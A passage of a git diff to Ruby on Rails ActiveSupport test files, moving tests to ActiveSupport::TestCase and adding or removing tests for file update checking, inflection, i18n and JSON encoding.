@@ -166,22 +186,4 @@ class DeprecationTest < ActiveSupport::TestCase
   def test_deprecation_with_explicit_message
     assert_deprecated(/you now need to do something extra for this one/) { @dtc.d }
   end
-
-  unless defined?(::MiniTest)
-    def test_assertion_failed_error_doesnt_spout_deprecation_warnings
-      error_class = Class.new(StandardError) do
-        def message
-          ActiveSupport::Deprecation.warn 'warning in error message'
-          super
-        end
-      end
-
-      raise error_class.new('hmm')
-
-    rescue => e
-      error = Test::Unit::Error.new('testing ur doodz', e)
-      assert_not_deprecated { error.message }
-      assert_nil @last_message
-    end
-  end
 end
diff --git a/activesupport/test/descendants_tracker_with_autoloading_test.rb b/activesupport/test/descendants_tracker_with_autoloading_test.rb
index ae18a56f44..9180f1f977 100644
--- a/activesupport/test/descendants_tracker_with_autoloading_test.rb
+++ b/activesupport/test/descendants_tracker_with_autoloading_test.rb
@@ -1,10 +1,9 @@
 require 'abstract_unit'
-require 'test/unit'
 require 'active_support/descendants_tracker'
 require 'active_support/dependencies'
 require 'descendants_tracker_test_cases'
 
-class DescendantsTrackerWithAutoloadingTest < Test::Unit::TestCase
+class DescendantsTrackerWithAutoloadingTest < ActiveSupport::TestCase
   include DescendantsTrackerTestCases
 
   def test_clear_with_autoloaded_parent_children_and_granchildren
@@ -32,4 +31,4 @@ class DescendantsTrackerWithAutoloadingTest < Test::Unit::TestCase
       assert_equal [], Child2.descendants
     end
   end
-end
\ No newline at end of file
+end
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
index 1f0c32dc3f..74669aaca1 100644
--- a/activesupport/test/descendants_tracker_without_autoloading_test.rb
+++ b/activesupport/test/descendants_tracker_without_autoloading_test.rb
@@ -1,8 +1,7 @@
 require 'abstract_unit'
-require 'test/unit'
 require 'active_support/descendants_tracker'
 require 'descendants_tracker_test_cases'
 
-class DescendantsTrackerWithoutAutoloadingTest < Test::Unit::TestCase
+class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
   include DescendantsTrackerTestCases
-end
\ No newline at end of file
+end
diff --git a/activesupport/test/file_update_checker_test.rb b/activesupport/test/file_update_checker_test.rb
index b65bb1d024..bd1df0f858 100644
--- a/activesupport/test/file_update_checker_test.rb
+++ b/activesupport/test/file_update_checker_test.rb
@@ -1,18 +1,20 @@
 require 'abstract_unit'
-require 'test/unit'
 require 'fileutils'
+require 'thread'
 
 MTIME_FIXTURES_PATH = File.expand_path("../fixtures", __FILE__)
 
-class FileUpdateCheckerTest < Test::Unit::TestCase
+class FileUpdateCheckerWithEnumerableTest < ActiveSupport::TestCase
   FILES = %w(1.txt 2.txt 3.txt)
 
   def setup
+    FileUtils.mkdir_p("tmp_watcher")
     FileUtils.touch(FILES)
   end
 
   def teardown
-    FileUtils.rm(FILES)
+    FileUtils.rm_rf("tmp_watcher")
+    FileUtils.rm_rf(FILES)
   end
 
   def test_should_not_execute_the_block_if_no_paths_are_given
@@ -22,34 +24,89 @@ class FileUpdateCheckerTest < Test::Unit::TestCase
     assert_equal 0, i
   end
 
-  def test_should_invoke_the_block_on_first_call_if_it_does_not_calculate_last_updated_at_on_load
+  def test_should_not_invoke_the_block_if_no_file_has_changed
     i = 0
     checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
-    checker.execute_if_updated
+    5.times { assert !checker.execute_if_updated }
+    assert_equal 0, i
+  end
+
+  def test_should_invoke_the_block_if_a_file_has_changed
+    i = 0
+    checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
+    sleep(1)
+    FileUtils.touch(FILES)
+    assert checker.execute_if_updated
     assert_equal 1, i
   end
 
-  def test_should_not_invoke_the_block_on_first_call_if_it_calculates_last_updated_at_on_load
+  def test_should_be_robust_enough_to_handle_deleted_files
     i = 0
-    checker = ActiveSupport::FileUpdateChecker.new(FILES, true){ i += 1 }
-    checker.execute_if_updated
-    assert_equal 0, i
+    checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
+    FileUtils.rm(FILES)
+    assert checker.execute_if_updated
+    assert_equal 1, i
   end
 
-  def test_should_not_invoke_the_block_if_no_file_has_changed
+  def test_should_be_robust_to_handle_files_with_wrong_modified_time
     i = 0
+    now = Time.now
+    time = Time.mktime(now.year + 1, now.month, now.day) # wrong mtime from the future
+    File.utime time, time, FILES[2]
+
     checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
-    5.times { checker.execute_if_updated }
+
+    sleep(1)
+    FileUtils.touch(FILES[0..1])
+
+    assert checker.execute_if_updated
     assert_equal 1, i
   end
 
-  def test_should_invoke_the_block_if_a_file_has_changed
+  def test_should_cache_updated_result_until_execute
     i = 0
     checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
-    checker.execute_if_updated
+    assert !checker.updated?
+
     sleep(1)
     FileUtils.touch(FILES)
-    checker.execute_if_updated
-    assert_equal 2, i
+
+    assert checker.updated?
+    checker.execute
+    assert !checker.updated?
+  end
+
+  def test_should_invoke_the_block_if_a_watched_dir_changed_its_glob
+    i = 0
+    checker = ActiveSupport::FileUpdateChecker.new([], "tmp_watcher" => [:txt]){ i += 1 }
+    FileUtils.cd "tmp_watcher" do
+      FileUtils.touch(FILES)
+    end
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  def test_should_not_invoke_the_block_if_a_watched_dir_changed_its_glob
+    i = 0
+    checker = ActiveSupport::FileUpdateChecker.new([], "tmp_watcher" => :rb){ i += 1 }
+    FileUtils.cd "tmp_watcher" do
+      FileUtils.touch(FILES)
+    end
+    assert !checker.execute_if_updated
+    assert_equal 0, i
+  end
+
+  def test_should_not_block_if_a_strange_filename_used
+    FileUtils.mkdir_p("tmp_watcher/valid,yetstrange,path,")
+    FileUtils.touch(FILES.map { |file_name| "tmp_watcher/valid,yetstrange,path,/#{file_name}" })
+
+    test = Thread.new do
+      ActiveSupport::FileUpdateChecker.new([],"tmp_watcher/valid,yetstrange,path," => :txt) { i += 1 }
+      Thread.exit
+    end
+    test.priority = -1
+    test.join(5)
+
+    assert !test.alive?
   end
 end
diff --git a/activesupport/test/flush_cache_on_private_memoization_test.rb b/activesupport/test/flush_cache_on_private_memoization_test.rb
deleted file mode 100644
index bc488cc743..0000000000
--- a/activesupport/test/flush_cache_on_private_memoization_test.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-require 'abstract_unit'
-require 'test/unit'
-
-class FlushCacheOnPrivateMemoizationTest < Test::Unit::TestCase
-  ActiveSupport::Deprecation.silence do
-    extend ActiveSupport::Memoizable
-  end
-
-  def test_public
-    assert_method_unmemoizable :pub
-  end
-
-  def test_protected
-    assert_method_unmemoizable :prot
-  end
-
-  def test_private
-    assert_method_unmemoizable :priv
-  end
-
-  def pub; rand end
-  memoize :pub
-
-  protected
-
-  def prot; rand end
-  memoize :prot
-
-  private
-
-  def priv; rand end
-  memoize :priv
-
-  def assert_method_unmemoizable(meth, message=nil)
-    full_message = build_message(message, "<?> not unmemoizable.\n", meth)
-    assert_block(full_message) do
-      a = send meth
-      b = send meth
-      unmemoize_all
-      c = send meth
-      a == b && a != c
-    end
-  end
-
-end
diff --git a/activesupport/test/gzip_test.rb b/activesupport/test/gzip_test.rb
index f564e63f29..75a0505899 100644
--- a/activesupport/test/gzip_test.rb
+++ b/activesupport/test/gzip_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/object/blank'
 
-class GzipTest < Test::Unit::TestCase
+class GzipTest < ActiveSupport::TestCase
   def test_compress_should_decompress_to_the_same_value
     assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World"))
   end
@@ -9,10 +9,7 @@ class GzipTest < Test::Unit::TestCase
   def test_compress_should_return_a_binary_string
     compressed = ActiveSupport::Gzip.compress('')
 
-    if "".encoding_aware?
-      assert_equal Encoding.find('binary'), compressed.encoding
-    end
-
+    assert_equal Encoding.find('binary'), compressed.encoding
     assert !compressed.blank?, "a compressed blank string should not be blank"
   end
 end
diff --git a/activesupport/test/i18n_test.rb b/activesupport/test/i18n_test.rb
index 34825c9b8f..ddbba444cf 100644
--- a/activesupport/test/i18n_test.rb
+++ b/activesupport/test/i18n_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 require 'active_support/time'
 require 'active_support/core_ext/array/conversions'
 
-class I18nTest < Test::Unit::TestCase
+class I18nTest < ActiveSupport::TestCase
   def setup
     @date = Date.parse("2008-7-2")
     @time = Time.utc(2008, 7, 2, 16, 47, 1)
@@ -97,4 +97,9 @@ class I18nTest < Test::Unit::TestCase
     I18n.backend.store_translations 'en', :support => { :array => { :two_words_connector => default_two_words_connector } }
     I18n.backend.store_translations 'en', :support => { :array => { :last_word_connector => default_last_word_connector } }
   end
+
+  def test_to_sentence_with_empty_i18n_store
+    I18n.backend.store_translations 'empty', {}
+    assert_equal 'a, b, and c', %w[a b c].to_sentence(locale: 'empty')
+  end
 end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index 6b7e839e43..cd91002147 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -4,7 +4,7 @@ require 'active_support/inflector'
 require 'inflector_test_cases'
 require 'constantize_test_cases'
 
-class InflectorTest < Test::Unit::TestCase
+class InflectorTest < ActiveSupport::TestCase
   include InflectorTestCases
   include ConstantizeTestCases
 
@@ -26,23 +26,20 @@ class InflectorTest < Test::Unit::TestCase
   end
 
   def test_uncountable_word_is_not_greedy
-    uncountable_word = "ors"
-    countable_word = "sponsor"
+    with_dup do
+      uncountable_word = "ors"
+      countable_word = "sponsor"
 
-    cached_uncountables = ActiveSupport::Inflector.inflections.uncountables
+      ActiveSupport::Inflector.inflections.uncountable << uncountable_word
 
-    ActiveSupport::Inflector.inflections.uncountable << uncountable_word
+      assert_equal uncountable_word, ActiveSupport::Inflector.singularize(uncountable_word)
+      assert_equal uncountable_word, ActiveSupport::Inflector.pluralize(uncountable_word)
+      assert_equal ActiveSupport::Inflector.pluralize(uncountable_word), ActiveSupport::Inflector.singularize(uncountable_word)
 
-    assert_equal uncountable_word, ActiveSupport::Inflector.singularize(uncountable_word)
-    assert_equal uncountable_word, ActiveSupport::Inflector.pluralize(uncountable_word)
-    assert_equal ActiveSupport::Inflector.pluralize(uncountable_word), ActiveSupport::Inflector.singularize(uncountable_word)
-
-    assert_equal "sponsor", ActiveSupport::Inflector.singularize(countable_word)
-    assert_equal "sponsors", ActiveSupport::Inflector.pluralize(countable_word)
-    assert_equal "sponsor", ActiveSupport::Inflector.singularize(ActiveSupport::Inflector.pluralize(countable_word))
-
-  ensure
-    ActiveSupport::Inflector.inflections.instance_variable_set :@uncountables, cached_uncountables
+      assert_equal "sponsor", ActiveSupport::Inflector.singularize(countable_word)
+      assert_equal "sponsors", ActiveSupport::Inflector.pluralize(countable_word)
+      assert_equal "sponsor", ActiveSupport::Inflector.singularize(ActiveSupport::Inflector.pluralize(countable_word))
+    end
   end
 
   SingularToPlural.each do |singular, plural|
@@ -66,6 +63,14 @@ class InflectorTest < Test::Unit::TestCase
     end
   end
 
+  SingularToPlural.each do |singular, plural|
+    define_method "test_singularize_singular_#{singular}" do
+      assert_equal(singular, ActiveSupport::Inflector.singularize(singular))
+      assert_equal(singular.capitalize, ActiveSupport::Inflector.singularize(singular.capitalize))
+    end
+  end
+
+
   def test_overwrite_previous_inflectors
     assert_equal("series", ActiveSupport::Inflector.singularize("series"))
     ActiveSupport::Inflector.inflections.singular "series", "serie"
@@ -295,7 +300,7 @@ class InflectorTest < Test::Unit::TestCase
       ActiveSupport::Inflector.constantize(string)
     end
   end
-  
+
   def test_safe_constantize
     run_safe_constantize_tests_on do |string|
       ActiveSupport::Inflector.safe_constantize(string)
@@ -304,6 +309,12 @@ class InflectorTest < Test::Unit::TestCase
 
   def test_ordinal
     OrdinalNumbers.each do |number, ordinalized|
+      assert_equal(ordinalized, number + ActiveSupport::Inflector.ordinal(number))
+    end
+  end
+
+  def test_ordinalize
+    OrdinalNumbers.each do |number, ordinalized|
       assert_equal(ordinalized, ActiveSupport::Inflector.ordinalize(number))
     end
   end
@@ -335,56 +346,79 @@ class InflectorTest < Test::Unit::TestCase
   %w{plurals singulars uncountables humans}.each do |inflection_type|
     class_eval <<-RUBY, __FILE__, __LINE__ + 1
       def test_clear_#{inflection_type}
-        cached_values = ActiveSupport::Inflector.inflections.#{inflection_type}
-        ActiveSupport::Inflector.inflections.clear :#{inflection_type}
-        assert ActiveSupport::Inflector.inflections.#{inflection_type}.empty?, \"#{inflection_type} inflections should be empty after clear :#{inflection_type}\"
-        ActiveSupport::Inflector.inflections.instance_variable_set :@#{inflection_type}, cached_values
+        with_dup do
+          ActiveSupport::Inflector.inflections.clear :#{inflection_type}
+          assert ActiveSupport::Inflector.inflections.#{inflection_type}.empty?, \"#{inflection_type} inflections should be empty after clear :#{inflection_type}\"
+        end
       end
     RUBY
   end
 
-  def test_clear_all
-    cached_values = ActiveSupport::Inflector.inflections.plurals.dup, ActiveSupport::Inflector.inflections.singulars.dup, ActiveSupport::Inflector.inflections.uncountables.dup, ActiveSupport::Inflector.inflections.humans.dup
-    ActiveSupport::Inflector.inflections do |inflect|
-      # ensure any data is present
-      inflect.plural(/(quiz)$/i, '\1zes')
-      inflect.singular(/(database)s$/i, '\1')
-      inflect.uncountable('series')
-      inflect.human("col_rpted_bugs", "Reported bugs")
+  def test_inflector_locality
+    ActiveSupport::Inflector.inflections(:es) do |inflect|
+      inflect.plural(/$/, 's')
+      inflect.plural(/z$/i, 'ces')
 
-      inflect.clear :all
+      inflect.singular(/s$/, '')
+      inflect.singular(/es$/, '')
+      
+      inflect.irregular('el', 'los')
+    end
+
+    assert_equal('hijos', 'hijo'.pluralize(:es))
+    assert_equal('luces', 'luz'.pluralize(:es))
+    assert_equal('luzs', 'luz'.pluralize)
+
+    assert_equal('sociedad', 'sociedades'.singularize(:es))
+    assert_equal('sociedade', 'sociedades'.singularize)
 
-      assert inflect.plurals.empty?
-      assert inflect.singulars.empty?
-      assert inflect.uncountables.empty?
-      assert inflect.humans.empty?
+    assert_equal('los', 'el'.pluralize(:es))
+    assert_equal('els', 'el'.pluralize)
+
+    ActiveSupport::Inflector.inflections(:es) { |inflect| inflect.clear }
+
+    assert ActiveSupport::Inflector.inflections(:es).plurals.empty?
+    assert ActiveSupport::Inflector.inflections(:es).singulars.empty?
+    assert !ActiveSupport::Inflector.inflections.plurals.empty?
+    assert !ActiveSupport::Inflector.inflections.singulars.empty?
+  end
+
+  def test_clear_all
+    with_dup do
+      ActiveSupport::Inflector.inflections do |inflect|
+        # ensure any data is present
+        inflect.plural(/(quiz)$/i, '\1zes')
+        inflect.singular(/(database)s$/i, '\1')
+        inflect.uncountable('series')
+        inflect.human("col_rpted_bugs", "Reported bugs")
+
+        inflect.clear :all
+
+        assert inflect.plurals.empty?
+        assert inflect.singulars.empty?
+        assert inflect.uncountables.empty?
+        assert inflect.humans.empty?
+      end
     end
-    ActiveSupport::Inflector.inflections.instance_variable_set :@plurals, cached_values[0]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@singulars, cached_values[1]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@uncountables, cached_values[2]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@humans, cached_values[3]
   end
 
   def test_clear_with_default
-    cached_values = ActiveSupport::Inflector.inflections.plurals.dup, ActiveSupport::Inflector.inflections.singulars.dup, ActiveSupport::Inflector.inflections.uncountables.dup, ActiveSupport::Inflector.inflections.humans.dup
-    ActiveSupport::Inflector.inflections do |inflect|
-      # ensure any data is present
-      inflect.plural(/(quiz)$/i, '\1zes')
-      inflect.singular(/(database)s$/i, '\1')
-      inflect.uncountable('series')
-      inflect.human("col_rpted_bugs", "Reported bugs")
-
-      inflect.clear
-
-      assert inflect.plurals.empty?
-      assert inflect.singulars.empty?
-      assert inflect.uncountables.empty?
-      assert inflect.humans.empty?
+    with_dup do
+      ActiveSupport::Inflector.inflections do |inflect|
+        # ensure any data is present
+        inflect.plural(/(quiz)$/i, '\1zes')
+        inflect.singular(/(database)s$/i, '\1')
+        inflect.uncountable('series')
+        inflect.human("col_rpted_bugs", "Reported bugs")
+
+        inflect.clear
+
+        assert inflect.plurals.empty?
+        assert inflect.singulars.empty?
+        assert inflect.uncountables.empty?
+        assert inflect.humans.empty?
+      end
     end
-    ActiveSupport::Inflector.inflections.instance_variable_set :@plurals, cached_values[0]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@singulars, cached_values[1]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@uncountables, cached_values[2]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@humans, cached_values[3]
   end
 
   Irregularities.each do |irregularity|
@@ -408,6 +442,16 @@ class InflectorTest < Test::Unit::TestCase
     end
   end
 
+  Irregularities.each do |irregularity|
+    singular, plural = *irregularity
+    ActiveSupport::Inflector.inflections do |inflect|
+      define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
+        inflect.irregular(singular, plural)
+        assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+      end
+    end
+  end
+
   [ :all, [] ].each do |scope|
     ActiveSupport::Inflector.inflections do |inflect|
       define_method("test_clear_inflections_with_#{scope.kind_of?(Array) ? "no_arguments" : scope}") do
@@ -433,26 +477,28 @@ class InflectorTest < Test::Unit::TestCase
     end
   end
 
-  { :singulars => :singular, :plurals => :plural, :uncountables => :uncountable, :humans => :human }.each do |scope, method|
+  %w(plurals singulars uncountables humans acronyms).each do |scope|
     ActiveSupport::Inflector.inflections do |inflect|
       define_method("test_clear_inflections_with_#{scope}") do
-        # save the inflections
-        values = inflect.send(scope)
-
-        # clear the inflections
-        inflect.clear(scope)
-
-        assert_equal [], inflect.send(scope)
-
-        # restore the inflections
-        if scope == :uncountables
-          inflect.send(method, values)
-        else
-          values.reverse.each { |value| inflect.send(method, *value) }
+        with_dup do
+          # clear the inflections
+          inflect.clear(scope)
+          assert_equal [], inflect.send(scope)
         end
-
-        assert_equal values, inflect.send(scope)
       end
     end
   end
+
+  # Dups the singleton and yields, restoring the original inflections later.
+  # Use this in tests what modify the state of the singleton.
+  #
+  # This helper is implemented by setting @__instance__ because in some tests
+  # there are module functions that access ActiveSupport::Inflector.inflections,
+  # so we need to replace the singleton itself.
+  def with_dup
+    original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original.dup)
+  ensure
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original)
+  end
 end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index e3a343af52..ca4efd2e59 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -47,6 +47,7 @@ module InflectorTestCases
     "medium"      => "media",
     "stadium"     => "stadia",
     "analysis"    => "analyses",
+    "my_analysis" => "my_analyses",
 
     "node_child"  => "node_children",
     "child"       => "children",
@@ -93,6 +94,7 @@ module InflectorTestCases
     "matrix_fu"   => "matrix_fus",
 
     "axis"        => "axes",
+    "taxi"        => "taxis", # prevents regression
     "testis"      => "testes",
     "crisis"      => "crises",
 
@@ -104,7 +106,13 @@ module InflectorTestCases
     "edge"        => "edges",
 
     "cow"         => "kine",
-    "database"    => "databases"
+    "database"    => "databases",
+
+    # regression tests against improper inflection regexes
+    "|ice"        => "|ices",
+    "|ouse"       => "|ouses",
+    "slice"       => "slices",
+    "police"      => "police"
   }
 
   CamelToUnderscore = {
@@ -206,16 +214,22 @@ module InflectorTestCases
   }
 
   MixtureToTitleCase = {
-    'active_record'       => 'Active Record',
-    'ActiveRecord'        => 'Active Record',
-    'action web service'  => 'Action Web Service',
-    'Action Web Service'  => 'Action Web Service',
-    'Action web service'  => 'Action Web Service',
-    'actionwebservice'    => 'Actionwebservice',
-    'Actionwebservice'    => 'Actionwebservice',
-    "david's code"        => "David's Code",
-    "David's code"        => "David's Code",
-    "david's Code"        => "David's Code"
+    'active_record'         => 'Active Record',
+    'ActiveRecord'          => 'Active Record',
+    'action web service'    => 'Action Web Service',
+    'Action Web Service'    => 'Action Web Service',
+    'Action web service'    => 'Action Web Service',
+    'actionwebservice'      => 'Actionwebservice',
+    'Actionwebservice'      => 'Actionwebservice',
+    "david's code"          => "David's Code",
+    "David's code"          => "David's Code",
+    "david's Code"          => "David's Code",
+    "sgt. pepper's"         => "Sgt. Pepper's",
+    "i've just seen a face" => "I've Just Seen A Face",
+    "maybe you'll be there" => "Maybe You'll Be There",
+    "¿por qué?"             => '¿Por Qué?',
+    "Fred’s"                => "Fred’s",
+    "Fred`s"                => "Fred`s"
   }
 
   OrdinalNumbers = {
@@ -294,5 +308,7 @@ module InflectorTestCases
     'child'  => 'children',
     'sex'    => 'sexes',
     'move'   => 'moves',
+    'cow'    => 'kine',
+    'zombie' => 'zombies',
   }
 end
diff --git a/activesupport/test/isolation_test.rb b/activesupport/test/isolation_test.rb
deleted file mode 100644
index 2c2986ea28..0000000000
--- a/activesupport/test/isolation_test.rb
+++ /dev/null
@@ -1,182 +0,0 @@
-require 'abstract_unit'
-require 'rbconfig'
-
-if defined?(MiniTest) || defined?(Test::Unit::TestResultFailureSupport)
-  $stderr.puts "Isolation tests can test test-unit 1 only"
-
-elsif ENV['CHILD']
-  class ChildIsolationTest < ActiveSupport::TestCase
-    include ActiveSupport::Testing::Isolation
-
-    def self.setup
-      File.open(File.join(File.dirname(__FILE__), "fixtures", "isolation_test"), "a") do |f|
-        f.puts "hello"
-      end
-    end
-
-    def setup
-      @instance = "HELLO"
-    end
-
-    def teardown
-      raise if @boom
-    end
-
-    test "runs the test" do
-      assert true
-    end
-
-    test "captures errors" do
-      raise
-    end
-
-    test "captures failures" do
-      assert false
-    end
-
-    test "first runs in isolation" do
-      assert_nil $x
-      $x = 1
-    end
-
-    test "second runs in isolation" do
-      assert_nil $x
-      $x = 2
-    end
-
-    test "runs with slow tests" do
-      sleep 0.3
-      assert true
-      sleep 0.2
-    end
-
-    test "runs setup" do
-      assert "HELLO", @instance
-    end
-
-    test "runs teardown" do
-      @boom = true
-    end
-
-    test "resets requires one" do
-      assert !defined?(Custom)
-      assert_equal 0, $LOADED_FEATURES.grep(/fixtures\/custom/).size
-      require File.expand_path(File.join(File.dirname(__FILE__), "fixtures", "custom"))
-    end
-
-    test "resets requires two" do
-      assert !defined?(Custom)
-      assert_equal 0, $LOADED_FEATURES.grep(/fixtures\/custom/).size
-      require File.expand_path(File.join(File.dirname(__FILE__), "fixtures", "custom"))
-    end
-  end
-else
-  class ParentIsolationTest < ActiveSupport::TestCase
-
-    File.open(File.join(File.dirname(__FILE__), "fixtures", "isolation_test"), "w") {}
-
-    ENV["CHILD"] = "1"
-    OUTPUT = `#{RbConfig::CONFIG["bindir"]}/#{RbConfig::CONFIG["ruby_install_name"]} -I#{File.dirname(__FILE__)} "#{File.expand_path(__FILE__)}" -v`
-    ENV.delete("CHILD")
-
-    def setup
-      defined?(::MiniTest) ? parse_minitest : parse_testunit
-    end
-
-    def parse_testunit
-      @results = {}
-      OUTPUT[/Started\n\s*(.*)\s*\nFinished/mi, 1].to_s.split(/\s*\n\s*/).each do |result|
-        result =~ %r'^(\w+)\(\w+\):\s*(\.|E|F)$'
-        @results[$1] = { 'E' => :error, '.' => :success, 'F' => :failure }[$2]
-      end
-
-      # Extract the backtraces
-      @backtraces = {}
-      OUTPUT.scan(/^\s*\d+\).*?\n\n/m).each do |backtrace|
-        # \n  1) Error:\ntest_captures_errors(ChildIsolationTest):
-        backtrace =~ %r'\s*\d+\)\s*(Error|Failure):\n(\w+)'i
-        @backtraces[$2] = { :type => $1, :output => backtrace }
-      end
-    end
-
-    def parse_minitest
-      @results = {}
-      OUTPUT[/Started\n\s*(.*)\s*\nFinished/mi, 1].to_s.split(/\s*\n\s*/).each do |result|
-        result =~ %r'^\w+#(\w+):.*:\s*(.*Assertion.*|.*RuntimeError.*|\.\s*)$'
-        val = :success
-        val = :error if $2.include?('RuntimeError')
-        val = :failure if $2.include?('Assertion')
-
-        @results[$1] = val
-      end
-
-      # Extract the backtraces
-      @backtraces = {}
-      OUTPUT.scan(/^\s*\d+\).*?\n\n/m).each do |backtrace|
-        # \n  1) Error:\ntest_captures_errors(ChildIsolationTest):
-        backtrace =~ %r'\s*\d+\)\s*(Error|Failure):\n(\w+)'i
-        @backtraces[$2] = { :type => $1, :output => backtrace }
-      end
-    end
-
-    def assert_failing(name)
-      assert_equal :failure, @results[name.to_s], "Test #{name} failed"
-    end
-
-    def assert_passing(name)
-      assert_equal :success, @results[name.to_s], "Test #{name} passed"
-    end
-
-    def assert_erroring(name)
-      assert_equal :error, @results[name.to_s], "Test #{name} errored"
-    end
-
-    test "has all tests" do
-      assert_equal 10, @results.length
-    end
-
-    test "passing tests are still reported" do
-      assert_passing :test_runs_the_test
-      assert_passing :test_runs_with_slow_tests
-    end
-
-    test "resets global variables" do
-      assert_passing :test_first_runs_in_isolation
-      assert_passing :test_second_runs_in_isolation
-    end
-
-    test "resets requires" do
-      assert_passing :test_resets_requires_one
-      assert_passing :test_resets_requires_two
-    end
-
-    test "erroring tests are still reported" do
-      assert_erroring :test_captures_errors
-    end
-
-    test "runs setup and teardown methods" do
-      assert_passing :test_runs_setup
-      assert_erroring :test_runs_teardown
-    end
-
-    test "correct tests fail" do
-      assert_failing :test_captures_failures
-    end
-
-    test "backtrace is printed for errors" do
-      assert_equal 'Error', @backtraces["test_captures_errors"][:type]
-      assert_match %r{isolation_test.rb:\d+}, @backtraces["test_captures_errors"][:output]
-    end
-
-    test "backtrace is printed for failures" do
-      assert_equal 'Failure', @backtraces["test_captures_failures"][:type]
-      assert_match %r{isolation_test.rb:\d+}, @backtraces["test_captures_failures"][:output]
-    end
-
-    test "self.setup is run only once" do
-      text = File.read(File.join(File.dirname(__FILE__), "fixtures", "isolation_test"))
-      assert_equal "hello\n", text
-    end
-
-  end
-end
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index 8cf1a54a99..7ed71f9abc 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -3,7 +3,7 @@ require 'abstract_unit'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/json'
 
-class TestJSONEncoding < Test::Unit::TestCase
+class TestJSONEncoding < ActiveSupport::TestCase
   class Foo
     def initialize(a, b)
       @a, @b = a, b
@@ -27,6 +27,10 @@ class TestJSONEncoding < Test::Unit::TestCase
   NilTests      = [[ nil,   %(null)  ]]
   NumericTests  = [[ 1,     %(1)     ],
                    [ 2.5,   %(2.5)   ],
+                   [ 0.0/0.0,   %(null) ],
+                   [ 1.0/0.0,   %(null) ],
+                   [ -1.0/0.0,  %(null) ],
+                   [ BigDecimal('0.0')/BigDecimal('0.0'),  %(null) ],
                    [ BigDecimal('2.5'), %("#{BigDecimal('2.5').to_s}") ]]
 
   StringTests   = [[ 'this is the <string>',     %("this is the \\u003Cstring\\u003E")],
@@ -38,6 +42,10 @@ class TestJSONEncoding < Test::Unit::TestCase
   ArrayTests    = [[ ['a', 'b', 'c'],          %([\"a\",\"b\",\"c\"])          ],
                    [ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
 
+  RangeTests    = [[ 1..2,     %("1..2")],
+                   [ 1...2,    %("1...2")],
+                   [ 1.5..2.5, %("1.5..2.5")]]
+
   SymbolTests   = [[ :a,     %("a")    ],
                    [ :this,  %("this") ],
                    [ :"a b", %("a b")  ]]
@@ -46,8 +54,6 @@ class TestJSONEncoding < Test::Unit::TestCase
   HashlikeTests = [[ Hashlike.new, %({\"a\":1}) ]]
   CustomTests   = [[ Custom.new, '"custom"' ]]
 
-  VariableTests = [[ ActiveSupport::JSON::Variable.new('foo'), 'foo'],
-                   [ ActiveSupport::JSON::Variable.new('alert("foo")'), 'alert("foo")']]
   RegexpTests   = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
 
   DateTests     = [[ Date.new(2005,2,1), %("2005/02/01") ]]
@@ -79,6 +85,13 @@ class TestJSONEncoding < Test::Unit::TestCase
     end
   end
 
+  def test_json_variable
+    assert_deprecated do
+      assert_equal ActiveSupport::JSON::Variable.new('foo'), 'foo'
+      assert_equal ActiveSupport::JSON::Variable.new('alert("foo")'), 'alert("foo")'
+    end
+  end
+
   def test_hash_encoding
     assert_equal %({\"a\":\"b\"}), ActiveSupport::JSON.encode(:a => :b)
     assert_equal %({\"a\":1}), ActiveSupport::JSON.encode('a' => 1)
@@ -88,25 +101,21 @@ class TestJSONEncoding < Test::Unit::TestCase
     assert_equal %({\"a\":\"b\",\"c\":\"d\"}), sorted_json(ActiveSupport::JSON.encode(:a => :b, :c => :d))
   end
 
-  def test_utf8_string_encoded_properly_when_kcode_is_utf8
-    with_kcode 'UTF8' do
-      result = ActiveSupport::JSON.encode('€2.99')
-      assert_equal '"\\u20ac2.99"', result
-      assert_equal(Encoding::UTF_8, result.encoding) if result.respond_to?(:encoding)
+  def test_utf8_string_encoded_properly
+    result = ActiveSupport::JSON.encode('€2.99')
+    assert_equal '"\\u20ac2.99"', result
+    assert_equal(Encoding::UTF_8, result.encoding)
 
-      result = ActiveSupport::JSON.encode('✎☺')
-      assert_equal '"\\u270e\\u263a"', result
-      assert_equal(Encoding::UTF_8, result.encoding) if result.respond_to?(:encoding)
-    end
+    result = ActiveSupport::JSON.encode('✎☺')
+    assert_equal '"\\u270e\\u263a"', result
+    assert_equal(Encoding::UTF_8, result.encoding)
   end
 
